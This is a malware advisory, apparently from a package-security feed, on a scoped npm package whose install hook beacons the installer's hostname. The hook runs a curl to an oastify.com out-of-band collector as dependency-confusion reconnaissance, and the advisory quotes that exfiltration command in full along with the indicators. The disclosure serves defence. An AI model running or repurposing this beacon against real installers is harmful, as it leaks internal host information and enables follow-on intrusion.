GCVE-110-OSM-2026-12506

The package's preinstall lifecycle script (index.js) runs child_process.exec of `curl "http://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/"`, placing the installer's hostname into the DNS label of a request to a Burp Collaborator out-of-band collector on oastify.com. This fires automatically on `npm install` before any user code runs. The scoped name (@uh-platform/*) combined with the OAST beacon carrying the internal hostname is the standard dependency-confusion reconnaissance pattern: the beacon identifies internal hosts that resolve the scope from the public registry, enabling follow-on targeting. No legitimate function of the package is present; the tarball's only on-install effect is the exfiltration beacon. ENTRY index.js (install-hook: node index.js) - Install Hook Executes Local JS File in package.json DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in index.js: "oastify.com" - Suspicious Domain in index.js: "oastify.com" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require("child_process")" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.js